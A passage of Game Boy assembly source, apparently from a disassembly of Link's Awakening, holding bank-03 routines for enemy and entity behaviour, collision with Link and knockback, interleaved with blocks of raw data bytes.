call toc_01_0891 ld a, $70 ld [hl], a ld [$C111], a jr toc_03_63F7.toc_03_6400 JumpTable_63EC_03: assign [$D368], $10 jr toc_03_63F7 db $3E, $01, $E0, $F2 toc_03_63F7: call toc_01_0891 ld a, $68 ld [hl], a ld [$C111], a .toc_03_6400: ld hl, $C280 add hl, bc ld [hl], $05 jp toc_01_093B JumpTable_6409_03: assign [$D368], $10 call JumpTable_3B8D_00 jr toc_03_63F7.toc_03_6400 db $E4, $14, $E4, $14, $D4, $D4, $04, $04 JumpTable_641B_03: ld a, $02 ld e, $05 jr JumpTable_6421_03.toc_03_6425 JumpTable_6421_03: ld a, $01 ld e, $01 .toc_03_6425: ld [$D47C], a ld a, e ld [$C1A9], a assign [$C1AA], $30 ld [$C111], a clear [$D47A] assign [$D368], $27 assign [$FFBD], MUSIC_ACTIVE_POWER_UP ld [hNextDefaultMusicTrack], a .toc_03_6443: ld e, $03 ld d, $00 .loop_03_6447: push de ld hl, $6413 add hl, de ld a, [hLinkPositionX] add a, [hl] ld [$FFD7], a ld hl, $6417 add hl, de ld a, [hLinkPositionY] add a, [hl] ld [$FFD8], a ld a, $07 call toc_01_0953 ld hl, $C520 add hl, de ld [hl], $22 ld hl, $C590 add hl, de pop de ld [hl], e dec e ld a, e cp $FF jr nz, .loop_03_6447 .JumpTable_6471_03: ret JumpTable_6472_03: _ifZero [$DB4E], .else_03_648D assign [$D368], $0F ld [$C167], a call JumpTable_63B7_03.toc_03_63C6 call toc_01_0891 ld [hl], $A0 assign [hNextDefaultMusicTrack], MUSIC_SILENCE ret .else_03_648D: ld hl, $C2B0 add hl, bc ld a, [hl] ld [$DB44], a ld d, $04 .toc_03_6497: ld hl, $DB00 ld e, $0C .loop_03_649C: ldi a, [hl] cp d jr z, .return_03_64B3 dec e jr nz, .loop_03_649C ld hl, $DB00 .loop_03_64A6: ld a, [hl] and a jr nz, .else_03_64AC ld [hl], d ret .else_03_64AC: inc hl inc e ld a, e cp $0C jr nz, JumpTable_6472_03.loop_03_64A6 .return_03_64B3: ret JumpTable_64B4_03: ifEq [$FFF6], $80, .else_03_64C2 assign [$D368], $10 jp toc_03_63F7 .else_03_64C2: ifEq [$FFF6], $7C, .else_03_64CD ld hl, $D969 set 4, [hl] .else_03_64CD: ifNotZero [$FFF1], .else_03_64DA assign [$D368], $10 jp toc_03_63F7 .else_03_64DA: call toc_03_5115.else_03_51D8 incAddr $DBD0 call toc_01_27E2 ret JumpTable_64E5_03: ld a, $08 .toc_03_64E7: ld hl, $DB93 .toc_03_64EA: add a, [hl] ld [hl], a ret JumpTable_64ED_03: ld a, $01 ld hl, $DB90 jr JumpTable_64E5_03.toc_03_64EA JumpTable_64F4_03: ld a, $30 jr JumpTable_64E5_03.toc_03_64E7 toc_03_64F8: ld e, $0F .toc_03_64FA: push af ld d, $00 .loop_03_64FD: ld hl, $C280 add hl, de ld a, [hl] and a jr z, .else_03_650E dec e ld a, e cp $FF jr nz, .loop_03_64FD pop af scf ret .else_03_650E: ld [hl], $05 pop af ld hl, $C3A0 add hl, de ld [hl], a ld hl, $C200 add hl, bc ld a, [hl] ld [$FFD7], a ld hl, $C210 add hl, bc ld a, [hl] ld [$FFD8], a ld hl, $C380 add hl, bc ld a, [hl] ld [$FFD9], a ld hl, $C310 add hl, bc ld a, [hl] ld [$FFDA], a call toc_03_6552 ld hl, $C410 add hl, de ld [hl], $01 ld hl, $C220 add hl, bc ld a, [hl] ld hl, $C220 add hl, de ld [hl], a ld hl, $C230 add hl, bc ld a, [hl] ld hl, $C230 add hl, de ld [hl], a scf ccf ret toc_03_6552: push bc push de push de pop bc call toc_03_48B0 pop de pop bc ret db $80, $10, $F8, $F8, $32, $00, $F8, $00 db $32, $20, $F8, $08, $32, $00, $F8, $10 db $32, $20, $08, $F8, $32, $00, $08, $00 db $32, $20, $08, $08, $32, $00, $08, $10 db $32, $20, $F8, $F8, $10, $00, $F8, $00 db $12, $00, $F8, $08, $12, $20, $F8, $10 db $10, $20, $08, $F8, $10, $40, $08, $00 db $12, $40, $08, $08, $12, $60, $08, $10 db $10, $60, $FC, $FC, $30, $10, $FC, $04 db $30, $30, $FC, $04, $30, $10, $FC, $0C db $30, $30, $04, $FC, $30, $10, $04, $04 db $30, $30, $04, $04, $30, $10, $04, $0C db $30, $30, $FC, $FC, $30, $00, $FC, $04 db $30, $20, $FC, $04, $30, $00, $FC, $0C db $30, $20, $04, $FC, $30, $00, $04, $04 db $30, $20, $04, $04, $30, $00, $04, $0C db $30, $20, $21, $B0, $C3, $09, $7E, $CB db $27, $CB, $27, $CB, $27, $CB, $27, $CB db $27, $5F, $50, $21, $5E, $65, $19, $0E db $08, $CD, $26, $3D, $C9, $00, $00, $00 db $00, $00, $00, $00, $00, $01, $01, $01 db $01, $01, $01, $01, $01, $02, $02, $02 db $02, $03, $03, $03, $03, $CD, $7F, $66 db $CD, $4A, $7F, $CD, $91, $08, $A7, $C2 db $21, $66, $C3, $B7, $3F, $5F, $21, $40 db $C4, $09, $7E, $FE, $4C, $7B, $CA, $7E db $66, $FE, $0E, $38, $12, $FE, $17, $30 db $0E, $F5, $D6, $0E, $5F, $50, $D5, $CD db $1C, $69, $D1, $CD, $8D, $67, $F1, $FE db $12, $20, $37, $21, $40, $C4, $09, $7E db $A7, $20, $05, $CD, $D8, $77, $18, $25 db $F0, $EE, $21, $98, $FF, $96, $C6, $18 db $FE, $30, $30, $19, $F0, $EF, $21, $99 db $FF, $96, $C6, $18, $FE, $30, $30, $0D db $CD, $F1, $6C, $21, $9A, $FF, $CB, $26 db $21, $9B, $FF, $CB, $26, $3E, $04, $EA db $02, $C5, $C9, $CD, $91, $08, $5F, $50 db $21, $F9, $65, $19, $7E, $CD, $87, $3B db $21, $40, $C3, $09, $7E, $E6, $F0, $F6 db $08, $77, $CD, $DE, $65, $FA, $A5, $DB db $A7, $28, $15, $1E, $E4, $FA, $24, $C1 db $A7, $20, $09, $CD, $91, $08, $E6, $04 db $28, $02, $1E, $84, $21, $97, $DB, $73 db $C9, $11, $EA, $54, $CD, $3B, $3C, $CD db $4A, $7F, $C9, $F0, $EC, $C6, $10, $FE db $A0, $D2, $B7, $3F, $CD, $91, $08, $FE db $18, $DA, $11, $66, $20, $04, $35, $CD db $D7, $08, $21, $4E, $C1, $34, $FE, $22 db $38, $D7, $FE, $48, $20, $06, $21, $20 db $C4, $09, $36, $30, $CD, $3D, $67, $CD db $31, $5D, $CD, $4A, $7F, $CD, $D5, $60 db $21, $00, $C3, $09, $36, $FF, $CD, $8C db $08, $21, $40, $C4, $09, $B6, $20, $1F db $FA, $00, $DB, $FE, $02, $20, $08, $F0 db $CC, $E6, $20, $20, $0F, $18, $10, $FA db $01, $DB, $FE, $02, $20, $09, $F0, $CC db $E6, $10, $28, $03, $CD, $EA, $4E toc_03_6723: ld hl, $C2A0 add hl, bc ld a, [hl] and %00000011 jr z, .else_03_672F call toc_03_6B4F .else_03_672F: _ifZero [$FFF9], .return_03_673C ld a, [hl] and %00001100 jr z, .return_03_673C call toc_03_6B5E .return_03_673C: ret toc_03_673D: incAddr $FFEC inc [hl] ld de, $655C call toc_01_3CD0 jp toc_01_3DBA db $F8, $08, $18, $F8, $08, $18, $F8, $08 db $18, $F8, $F8, $F8, $08, $08, $08, $18 db $18, $18, $48, $48, $00, $90, $00, $70 db $38, $38, $3D, $3D, $3E, $3E, $72, $72 db $73, $73, $69, $79, $69, $79, $64, $66 db $65, $67, $04, $08, $02, $01, $08, $04 db $01, $02, $F8, $08, $FF, $01, $72, $73 db $73, $72, $00, $10, $F0, $10, $00, $00 db $10, $00, $F0, $F9, $A7, $C2, $C5, $68 db $C5, $21, $00, $C2, $09, $7E, $D6, $08 db $21, $4B, $67, $19, $86, $E6, $F0, $E0 db $CE, $CB, $37, $21, $10, $C2, $09, $4F db $7E, $D6, $10, $21, $54, $67, $19, $86 db $E6, $F0, $E0, $CD, $B1, $4F, $06, $00 db $21, $11, $D7, $7C, $09, $67, $79, $E0 db $E9, $7E, $E0, $AF, $5F, $FE, $BB, $38 db $5C, $FE, $BF, $30, $58, $FA, $A5, $DB db $A7, $20, $52, $3E, $02, $E0, $F2, $F0 db $CD, $E6, $E0, $E0, $CD, $F0, $CE, $E6 db $E0, $E0, $CE, $CD, $CE, $68, $79, $E6 db $EE, $4F, $21, $11, $D7, $09, $3E, $09 db $22, $32, $7D, $C6, $10, $6F, $3E, $09 db $22, $36, $09, $0E, $03, $06, $00, $CD db $22, $68, $21, $85, $67, $09, $7E, $21 db $CE, $FF, $86, $77, $21, $89, $67, $09 db $7E, $21, $CD, $FF, $86, $77, $0D, $79 db $FE, $FF, $20, $E3, $C3, $C4, $68, $11 db $81, $67, $C3, $52, $68, $FA, $A5, $DB db $57, $CD, $DB, $29, $D6, $99, $DA, $C4 db $68, $FE, $04, $D2, $C4, $68, $4F, $3E db $02, $E0, $F2, $FA, $A5, $DB, $A7, $20 db $21, $C1, $F0, $E9, $5F, $50, $21, $11 db $D7, $19, $36, $E1, $11, $71, $67, $D5 db $21, $00, $D8, $F0, $F6, $5F, $16, $00 db $19, $7E, $F6, $04, $77, $E0, $F8, $C3 db $7A, $52, $21, $00, $D9, $F0, $F6, $5F db $16, $00, $F0, $F7, $FE, $1A, $30, $05 db $FE, $06, $38, $01, $14, $19, $E5, $D1 db $21, $75, $67, $09, $1A, $B6, $12, $E0 db $F8, $21, $7D, $67, $09, $FA, $AE, $DB db $86, $5F, $16, $00, $CD, $25, $2B, $E5 db $D1, $21, $79, $67, $09, $1A, $B6, $12 db $F0, $CE, $CB, $37, $E6, $0F, $5F, $F0 db $CD, $E6, $F0, $B3, $5F, $16, $00, $21 db $11, $D7, $19, $E5, $D1, $21, $65, $67 db $09, $7E, $12, $79, $17, $E6, $04, $4F db $21, $69, $67, $09, $C1, $E5, $C3, $7A db $52, $C1, $C9, $08, $18, $08, $18, $10 db $10, $20, $20, $C5, $0E, $03, $06, $00 db $3E, $05, $CD, $F8, $64, $38, $28, $21 db $F0, $C2, $19, $36, $0F, $F0, $CE, $21 db $C6, $68, $09, $86, $21, $00, $C2, $19 db $77, $F0, $CD, $21, $CA, $68, $09, $86 db $21, $DA, $FF, $96, $21, $10, $C2, $19 db $77, $21, $40, $C3, $19, $36, $C4, $0D db $79, $FE, $FF, $20, $CB, $C1, $C9, $F8 db $08, $18, $F8, $08, $18, $F8, $08, $18 db $F8, $F8, $F8, $08, $08, $08, $18, $18 db $18, $C5, $21, $0A, $69, $19, $F0, $EE db $86, $D6, $08, $E6, $F0, $E0, $CE, $CB db $37, $4F, $21, $13, $69, $19, $F0, $EC db $86, $D6, $10, $E6, $F0, $E0, $CD, $B1 db $5F, $21, $11, $D7, $19, $7C, $FE, $D7 db $C2, $BB, $69, $FA, $A5, $DB, $A7, $7E db $E0, $AF, $20, $11, $E0, $E9, $FE, $0A db $28, $2A, $FE, $D3, $28, $26, $FE, $5C db $28, $22, $C3, $BB, $69, $FE, $A9, $C2 db $BB, $69, $F0, $F6, $4F, $06, $00, $F0 db $F7, $FE, $1A, $30, $05, $FE, $06, $38 db $01, $04, $21, $00, $D9, $09, $7E, $F6 db $40, $77, $E0, $F8, $CD, $A6, $20, $3E db $05, $CD, $F8, $64, $38, $32, $AF, $EA db $9B, $C1, $21, $00, $C2, $19, $F0, $CE db $C6, $08, $77, $21, $10, $C2, $19, $F0 db $CD, $C6, $10, $77, $21, $B0, $C3, $19 db $FA, $A5, $DB, $EE, $01, $77, $E0, $F1 db $F0, $E9, $FE, $0A, $20, $05, $3E, $FF db $77, $E0, $F1, $D5, $C1, $CD, $41, $54 db $C1, $C9, $6C, $74, $6D, $75, $36, $00 db $36, $20, $36, $10, $36, $30, $21, $4D db $C1, $34, $3E, $0A, $EA, $9E, $C1, $CD db $A6, $75, $F0, $E7, $1F, $1F, $1F, $E6 db $01, $21, $B0, $C3, $09, $77, $CD, $8C db $08, $28, $0A, $3D, $CA, $B7, $3F, $11 db $1E, $4D, $C3, $3B, $3C, $11, $C1, $69 db $CD, $F2, $6A, $CD, $4A, $7F, $FA, $A5 db $DB, $A7, $F0, $AF, $28, $06, $FE, $8A db $28, $0A, $18, $2D, $FE, $D3, $28, $04 db $FE, $5C, $20, $25, $21, $A0, $C2, $09 db $70, $CD, $8C, $08, $70, $F0, $E9, $5F db $50, $CD, $A6, $20, $F0, $CE, $C6, $08 db $E0, $D7, $F0, $CD, $C6, $10, $E0, $D8 db $3E, $08, $CD, $53, $09, $3E, $13, $E0 db $F4, $C9, $6C, $00, $6C, $20, $5C, $00 db $5C, $20, $CD, $91, $08, $20, $03, $CD db $F9, $6B, $11, $35, $6A, $C3, $F2, $6A db $21, $4D, $C1, $34, $F0, $F0, $A7, $20 db $37, $CD, $91, $08, $C2, $EF, $6A, $3E db $05, $EA, $9E, $C1, $CD, $A6, $75, $CD db $EF, $6A, $F0, $F1, $FE, $02, $20, $15 db $FA, $8E, $C1, $E6, $1F, $FE, $0F, $20 db $0C, $F0, $AF, $FE, $C0, $20, $06, $CD db $EC, $08, $CD, $B7, $3F, $C9, $80, $10 db $04, $FC, $00, $00, $FE, $FE, $FA, $04 db $CD, $91, $08, $28, $21, $3E, $02, $CD db $F8, $64, $38, $17, $F0, $D7, $21, $00 db $C2, $19, $77, $F0, $D8, $21, $10, $C2 db $19, $77, $21, $E0, $C2, $19, $36, $17 db $CD, $D7, $08, $C3, $B7, $3F, $F0, $F1 db $F5, $5F, $50, $AF, $E0, $F1, $21, $83 db $6A, $19, $F0, $EE, $86, $E0, $EE, $21 db $87, $6A, $19, $F0, $EC, $86, $E0, $EC db $11, $81, $6A, $CD, $D0, $3C, $CD, $BA db $3D, $F1, $E0, $F1, $11, $E1, $6B, $CD db $3B, $3C, $3E, $0C, $EA, $9E, $C1, $CD db $A6, $75, $18, $0E, $CD, $91, $08, $20 db $03, $CD, $F9, $6B, $11, $E1, $6B, $CD db $3B, $3C, $CD, $4A, $7F, $CD, $91, $08 db $20, $6A, $CD, $F7, $7E, $CD, $AA, $7C db $21, $A0, $C2, $09, $7E, $A7, $28, $52 db $CD, $91, $08, $F0, $EB, $FE, $04, $20 db $06, $CD, $8C, $08, $36, $30, $C9, $36 db $18, $21, $20, $C3, $09, $36, $10, $21 db $A0, $C2, $09, $7E, $3C, $28, $04, $3E db $07, $E0, $F2, $CD, $DC, $08, $F0, $EB db $FE, $00, $20, $15, $CD, $47, $6B, $21 db $40, $C2, $09, $7E, $2F, $3C, $CB, $2F db $CB, $2F, $77, $C9, $21, $50, $C2, $18 db $F1, $CD, $5E, $6B toc_03_6B4F: ld hl, $C240 .toc_03_6B52: add hl, bc ld a, [hl] cpl inc a sra a sra a sra a ld [hl], a ret toc_03_6B5E: ld hl, $C250 jr toc_03_6B4F.toc_03_6B52 db $00, $03, $01, $02, $FE, $01, $20, $03 db $C3, $B7, $3F, $F0, $EB, $FE, $0A, $28 db $15, $CD, $91, $08, $CB, $3F, $CB, $3F db $CB, $3F, $E6, $03, $5F, $50, $21, $63 db $6B, $19, $7E, $CD, $87, $3B, $CD, $F7 db $7E, $18, $08, $02, $01, $02, $02, $40 db $08, $40, $40 toc_03_6B96: _ifZero [$FFF9], .else_03_6BA7 call toc_03_7F30 ld hl, $C320 add hl, bc ld a, [hl] sub a, $02 ld [hl], a ret .else_03_6BA7: ld hl, $C470 add hl, bc ld a, [hl] ld e, a ld d, b and a jr z, .else_03_6BC6 ld a, [hFrameCounter] and %00000111 jr nz, .else_03_6BC6 ld hl, $C240 add hl, bc ld a, [hl] and a jr z, .else_03_6BC6 and %10000000 jr z, .else_03_6BC5 inc [hl] inc [hl] .else_03_6BC5: dec [hl] .else_03_6BC6: ld hl, $6B8E add hl, de ld a, [hl] ld hl, $C250 add hl, bc add a, [hl] ld [hl], a ld hl, $6B92 add hl, de sub a, [hl] and %10000000 jr nz, .return_03_6BE0 ld a, [hl] ld hl, $C250 add hl, bc ld [hl], a .return_03_6BE0: ret db $2E, $20, $2C, $20, $2C, $00, $2E, $00 db $2A, $40, $2A, $60, $2A, $00, $2A, $20 db $01, $00, $03, $02, $02, $0A, $0E, $06 toc_03_6BF9: ifGte [$C11C], $02, .return_03_6C76 _ifZero [hLinkPositionZHigh], .return_03_6C76 ld hl, $FFEE ld a, [hLinkPositionX] sub a, [hl] add a, 6 cp 12 jr nc, .return_03_6C76 ld hl, $FFEC ld a, [hLinkPositionY] sub a, [hl] add a, 6 cp 12 jr nc, .return_03_6C76 ifNotZero [$C15B], .else_03_6C77 ifEq [$FFEB], $2B, .else_03_6C5D ifLt [$DB44], $02, .else_03_6C77 ld a, [hLinkDirection] ld e, a ld d, b ld hl, $6BF5 add hl, de ld e, [hl] ld hl, $C380 add hl, bc ld a, [hl] sub a, e and %00001111 cp $05 jr nc, .else_03_6C77 ld hl, $C2A0 add hl, bc ld [hl], $02 assign [$FFF2], $07 ld a, [$FFEF] .toc_03_6C51: ld [$FFD8], a copyFromTo [$FFEE], [$FFD7] ld a, $05 call toc_01_0953 ret .else_03_6C5D: ld hl, $C380 add hl, bc ld e, [hl] ld d, b ld hl, $6BF1 add hl, de ld a, [hLinkDirection] cp [hl] jr nz, .else_03_6C77 assign [$FFF2], $16 .loop_03_6C70: ld hl, $C2A0 add hl, bc ld [hl], $FF .return_03_6C76: ret .else_03_6C77: call toc_03_6C87.toc_03_6CDC ifNe [$FFEB], $2B, .else_03_6C84 cp $0C jr nz, .loop_03_6C70 .else_03_6C84: jp toc_01_3F7A.else_01_3FB7 toc_03_6C87: ld a, [hFrameCounter] xor c rra jp nc, .else_03_6CE7 .toc_03_6C8E: _ifZero [hLinkPositionZHigh], toc_03_6BF9.return_03_6C76 .toc_03_6C93: ifGte [$C11C], $02, toc_03_6BF9.return_03_6C76 push bc sla c sla c ld hl, $D580 add hl, bc pop bc ld a, [$FFEE] add a, [hl] push hl ld hl, hLinkPositionX sub a, [hl] sub a, $08 cp $80 jr c, .else_03_6CB4 cpl inc a .else_03_6CB4: pop hl push af inc hl ld a, $04 add a, [hl] ld e, a pop af cp e jp nc, .else_03_6CE7 inc hl ld a, [$FFEC] add a, [hl] push hl ld hl, hLinkPositionY sub a, [hl] sub a, $08 cp $80 jr c, .else_03_6CD1 cpl inc a .else_03_6CD1: pop hl push af inc hl ld a, $04 add a, [hl] ld e, a pop af cp e jr nc, .else_03_6CE7 .toc_03_6CDC: ld hl, $C340 add hl, bc ld a, [hl] and %10000000 jr z, .else_03_6CE9 .loop_03_6CE5: scf ret .else_03_6CE7: and a ret .else_03_6CE9: ld a, [hLinkAnimationState] sub a, LINK_ANIMATION_STATE_HOLD_SWIMMING_2 cp LINK_ANIMATION_STATE_UNKNOWN_02 jr c, toc_03_6C87.loop_03_6CE5 .toc_03_6CF1: ifEq [$FFEB], $AC, toc_03_6C87.else_03_6D15 call toc_03_7EBB ld a, e cp $02 jr nz, toc_03_6C87.else_03_6D59 call JumpTable_3B8D_00 ld [hl], $05 assign [$C146], $02 assign [hLinkPositionYIncrement], 240 call toc_01_3DAF assign [$FFF3], $0E ret .else_03_6D15: ifEq [$FFEB], $9F, toc_03_6C87.else_03_6D59 ifNotZero [$C146], toc_03_6C87.else_03_6D59 _ifZero [$FFB7], toc_03_6C87.else_03_6D37 _ifZero [$FFF9], toc_03_6C87.else_03_6D31 ld a, [hLinkPositionZLow] xor %10000000 jr toc_03_6C87.toc_03_6D33 .else_03_6D31: ld a, [hLinkPositionYIncrement] .toc_03_6D33: and %10000000 jr nz, toc_03_6C87.else_03_6D59 .else_03_6D37: assign [$FFB7], $02 ld hl, $C290 add hl, bc ld [hl], $02 call toc_01_0891 ld [hl], $30 assign [$FFF3], $0E _ifZero [$FFF9], toc_03_6C87.else_03_6D54 assign [hLinkPositionZLow], $10 ret .else_03_6D54: assign [hLinkPositionYIncrement], 240 ret .else_03_6D59: ifEq [$FFEB], $1C, toc_03_6C87.else_03_6D6A call toc_01_0891 ld [hl], $80 call JumpTable_3B8D_00 ld [hl], $04 ret .else_03_6D6A: cp $8E jr z, toc_03_6C87.else_03_6D79 cp $82 jr z, toc_03_6C87.else_03_6D79 ifZero [$C13E], toc_03_6C87.else_03_6E1F .else_03_6D79: ifEq [$FFEB], $E4, toc_03_6C87.else_03_6D8F ifEq [$FFF0], $04, toc_03_6C87.else_03_6D8F call JumpTable_3B8D_00 ld [hl], $08 assign [$FFF3], $03 ret .else_03_6D8F: ld a, [$DBC7] ld hl, $C1C6 or [hl] ld hl, $C166 or [hl] ld hl, $C1A9 or [hl] jp nz, toc_03_6C87.else_03_6E1F assign [$FFF3], $03 ld hl, $C4D0 add hl, bc ld d, b ld e, [hl] ld hl, $484E add hl, de ld e, [hl] ifEq [$D47C], $02, toc_03_6C87.else_03_6DC0 ld a, e cp $04 jr nz, toc_03_6C87.else_03_6DBE ld e, $00 .else_03_6DBE: srl e .else_03_6DC0: ld a, [$DB94] add a, e ld [$DB94], a assign [$DBC7], $50 clear [$D471] ifNotZero [$D47C], toc_03_6C87.else_03_6DF4 incAddr $D47A ld a, [hl] cp $03 jr c, toc_03_6C87.else_03_6DF4 clear [$D47C] _ifZero [$C1BE], toc_03_6C87.else_03_6DF4 ifNe [hDefaultMusicTrack], MUSIC_OWL, toc_03_6C87.else_03_6DF2 ld [$D368], a .else_03_6DF2: ld [hNextDefaultMusicTrack], a .else_03_6DF4: call toc_01_093B.toc_01_0942 assign [$C13E], $10 ld a, [$FFEB] ld e, $18 cp $82 jp z, toc_03_6F82.toc_03_6FBC cp $5A jr nz, toc_03_6C87.else_03_6E0F ld hl, $C2A0 add hl, bc ld [hl], $01 .else_03_6E0F: cp $59 ld a, $14 jr nz, toc_03_6C87.else_03_6E17 ld a, $18 .else_03_6E17: call toc_03_7569 _ifZero [$FFF9], toc_03_6E23 .else_03_6E1F: scf ret db $0C, $F4 toc_03_6E23: ifNe [$FF9C], $02, toc_03_6C87.else_03_6E1F call toc_03_7EAB ld d, b ld hl, $6E21 add hl, de ld a, [hl] ld [hLinkPositionXIncrement], a assign [hLinkPositionYIncrement], 244 clear [$FF9C] scf ret toc_03_6E3D: call toc_03_6C87 .toc_03_6E40: ld a, [$C140] cp $00 jp z, JumpTable_7059_03.return_03_73EA ld hl, $C420 add hl, bc ld a, [hl] and a jr z, .else_03_6E55 cp $18 jp c, JumpTable_7059_03.return_03_73EA .else_03_6E55: ifNotZero [$C1AC], .else_03_6E60 dec a cp c jp z, JumpTable_7059_03.return_03_73EA .else_03_6E60: ld hl, $C410 add hl, bc ld a, [hl] and a jp nz, JumpTable_7059_03.return_03_73EA ld de, $FFEE push bc sla c sla c ld hl, $D580 add hl, bc pop bc ld a, [de] add a, [hl] push hl ld hl, $C140 sub a, [hl] cp $80 jr c, .else_03_6E83 cpl inc a .else_03_6E83: pop hl push af inc hl ld a, [$C141] add a, [hl] ld e, a pop af cp e jp nc, JumpTable_7059_03.return_03_73EA inc hl push hl ld de, $FFEC pop hl ld a, [de] add a, [hl] push hl ld hl, $C142 sub a, [hl] cp $80 jr c, .else_03_6EA3 cpl inc a .else_03_6EA3: pop hl push af inc hl ld a, [$C143] add a, [hl] ld e, a pop af cp e jp nc, JumpTable_7059_03.return_03_73EA ld hl, $C340 add hl, bc ld a, [hl] and %00100000 jp nz, toc_03_6310.toc_03_6336 ifZero [$C5B0], toc_03_6FFE copyFromTo [$C14A], [$FFE9] call toc_01_093B.toc_01_0942 ifEq [$FFEB], $E2, .else_03_6EE6 ld a, [$DB44] cp $02 ret nz ld a, [hLinkDirection] cp DIRECTION_UP ret nz assign [hLinkPositionYIncrement], 4 assign [$C13E], $08 jp JumpTable_3B8D_00 .else_03_6EE6: cp $55 jr nz, toc_03_6E3D.else_03_6F0C ld a, [$FFF0] cp $02 jp nz, toc_03_6F82.toc_03_6FA8 ld hl, $C240 add hl, bc ld a, [hl] cpl inc a ld [hl], a ld hl, $C250 add hl, bc ld a, [hl] cpl inc a ld [hl], a call toc_01_0891 ld [hl], $40 call toc_01_088C ld [hl], $08 ret .else_03_6F0C: cp $51 jr nz, toc_03_6E3D.else_03_6F35 ld hl, $C430 add hl, bc and %01000000 jp z, toc_03_6F82.toc_03_6FA8 .toc_03_6F19: ld hl, $C2B0 add hl, bc ld a, [hl] cpl inc a ld [hl], a call toc_03_6E3D.else_03_6F71 call toc_01_088C ld [hl], $0C assign [$C160], $01 clear [$C122] jp JumpTable_7059_03.toc_03_714C .else_03_6F35: cp $58 jr nz, toc_03_6E3D.else_03_6F3F .toc_03_6F39: call toc_03_6F82.toc_03_6FA8 jp toc_03_6BF9.loop_03_6C70 .else_03_6F3F: cp $2C jr nz, toc_03_6F82 ld hl, $C290 add hl, bc ld a, [hl] cp $03 jr z, toc_03_6E3D.else_03_6F71 ld [hl], $03 ld hl, $C320 add hl, bc ld [hl], $20 call toc_01_0891 ld [hl], $FF ld a, [hLinkDirection] ld e, a ld d, b ld hl, $6F7A add hl, de ld a, [hl] ld hl, $C240 add hl, bc ld [hl], a ld hl, $6F7E add hl, de ld a, [hl] ld hl, $C250 add hl, bc ld [hl], a .else_03_6F71: call toc_03_6F82.toc_03_6FA8 ld hl, $C410 add hl, bc ld [hl], b ret db $10, $F0, $00, $00, $00, $00, $F0, $10 toc_03_6F82: cp $9C jr z, .else_03_6F8A cp $15 jr nz, .else_03_6FA3 .else_03_6F8A: ld a, [hLinkDirection] and DIRECTION_UP jr nz, .else_03_6F96 ld hl, $C240 add hl, bc jr .toc_03_6F9A .else_03_6F96: ld hl, $C250 add hl, bc .toc_03_6F9A: ld a, [hl] cpl inc a ld [hl], a call .toc_03_6FA8 ld [hl], b ret .else_03_6FA3: cp $5A jp z, toc_03_6E3D.toc_03_6F39 .toc_03_6FA8: assign [$FFF2], $09 call toc_01_093B.toc_01_0942 assign [$C13E], $0C ifEq [$FFEB], $82, .else_03_6FCE ld e, 16 .toc_03_6FBC: push de call toc_03_7EAB ld a, e and a pop de ld a, e jr z, .else_03_6FC8 cpl inc a .else_03_6FC8: ld [hLinkPositionXIncrement], a clear [hLinkPositionYIncrement] ret .else_03_6FCE: ld a, $12 call toc_03_7569 ld hl, $FFE9 ld a, [hPressedButtonsMask] and J_DOWN | J_LEFT | J_RIGHT | J_UP ld a, $08 or [hl] jr z, toc_03_6F82.else_03_6FE1 ld a, $20 .else_03_6FE1: call toc_03_7E17 ld a, [$FFD7] cpl inc a ld hl, $C400 add hl, bc ld [hl], a ld a, [$FFD8] cpl inc a ld hl, $C3F0 add hl, bc ld [hl], a call JumpTable_7059_03.toc_03_73DF ret db $00, $01, $02, $03 toc_03_6FFE: ld a, [$FFEB] cp $E2 ret z cp $E6 jr nz, JumpTable_702D_03.toc_03_702F ld a, [$D219] jumptable dw JumpTable_4D09_03.JumpTable_4D13_03 ; 00 dw JumpTable_7017_03 ; 01 dw JumpTable_701D_03 ; 02 dw JumpTable_702D_03 ; 03 dw JumpTable_702D_03 ; 04 dw JumpTable_7059_03 ; 05 JumpTable_7017_03: call JumpTable_3B8D_00 ld [hl], $06 ret JumpTable_701D_03: _ifZero [$C121], .else_03_7029 returnIfGte [$C16A], $04 .else_03_7029: call JumpTable_3B8D_00 ret JumpTable_702D_03: ld a, [$FFEB] .toc_03_702F: cp $B9 jr nz, JumpTable_7059_03 ifEq [$FFEA], $05, JumpTable_7059_03 call JumpTable_3B8D_00 ld [hl], $01 call toc_01_0891 ld [hl], $40 assign [$D464], $40 clear [$C137] ld [$C16A], a ld [$C121], a assign [$FFF4], $1C jp toc_03_6C87.toc_03_6CF1 JumpTable_7059_03: ifEq [$FFEB], $55, .else_03_7086 ld a, $30 call toc_03_7E17 ld a, [$FFD7] cpl inc a ld hl, $C250 add hl, bc ld [hl], a ld a, [$FFD8] cpl inc a ld hl, $C240 add hl, bc ld [hl], a call JumpTable_3B8D_00 ld [hl], $02 call toc_01_0891 ld [hl], $40 call toc_01_088C ld [hl], $08 ret .else_03_7086: cp $65 jr nz, .else_03_7094 call toc_03_6C87.else_03_6DF4 assign [$C13E], $08 jr .else_03_70D1 .else_03_7094: cp $5B jr nz, .else_03_70D1 _ifZero [$FFE8], .else_03_70C0 ld hl, $C2B0 add hl, bc ld a, [hl] cp $04 jp nz, .else_03_70B4 ifNotZero [$C14A], .else_03_7113 ld hl, $C300 add hl, bc ld [hl], $0C ret .else_03_70B4: ifNotZero [$C14A], .else_03_70C4 call toc_03_6C87.else_03_6DF4 jp .else_03_7113 .else_03_70C0: call toc_03_6C87.else_03_6DF4 ret .else_03_70C4: assign [$C13E], $04 ld a, $10 call toc_03_7569 jp .else_03_7113 .else_03_70D1: ld hl, $C430 add hl, bc ld a, [hl] and %01000000 jr z, .else_03_7113 ld a, [$FFEB] cp $51 jp z, toc_03_6E3D.toc_03_6F19 cp $5C jr nz, .else_03_70F8 ld a, [$D47C] cp $01 ld a, $20 jr nz, .else_03_70F0 ld a, $30 .else_03_70F0: call toc_03_6F82.else_03_6FE1 ld hl, $C420 add hl, bc ld [hl], b .else_03_70F8: ld a, c inc a ld [$C1AC], a call toc_01_0993 ld hl, $C410 add hl, bc ld [hl], $10 ld hl, $C3F0 add hl, bc ld [hl], b ld hl, $C400 add hl, bc ld [hl], b jp toc_03_6C87.else_03_6DF4 .else_03_7113: ifEq [$FFEB], $8E, .else_03_711E call toc_01_093B.toc_01_0942 jr .else_03_715F .else_03_711E: cp $24 jr nz, .else_03_7158 ld hl, $C2C0 add hl, bc ld a, [hl] and a jr nz, .else_03_7158 ld a, [hLinkDirection] ld e, a ld d, b ld hl, $6FFA add hl, de ld a, [hl] ld hl, $C380 add hl, bc cp [hl] jr z, .else_03_715F call toc_01_093B.toc_01_0942 assign [$C13E], $10 ld a, $10 call toc_03_7569 ld a, $10 call 